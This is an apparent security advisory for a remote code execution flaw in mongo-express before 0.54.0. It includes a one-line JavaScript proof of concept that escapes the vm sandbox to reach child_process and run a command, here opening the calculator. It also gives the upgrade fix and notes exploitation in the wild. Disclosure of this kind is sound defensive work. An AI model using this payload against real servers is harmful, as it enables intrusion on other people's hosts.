mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm`…
snyk·NVD-CWE-noinfo·Published 2019-12-24
### Impact Remote code execution on the host machine by any authenticated user. ### Proof Of Concept Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator: ```javascript this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator') ``` ### Patches Users should upgrade to version `0.54.0` ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ ### For more information If you have any questions or comments about this advisory: * Open an issue in [example link to repo](http://example.com) * Email us at [example email address](mailto:example@example.com) #### Thanks @JLLeitschuh for finding and reporting this vulnerability This vulnerability has been [exploited](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758) in the wild.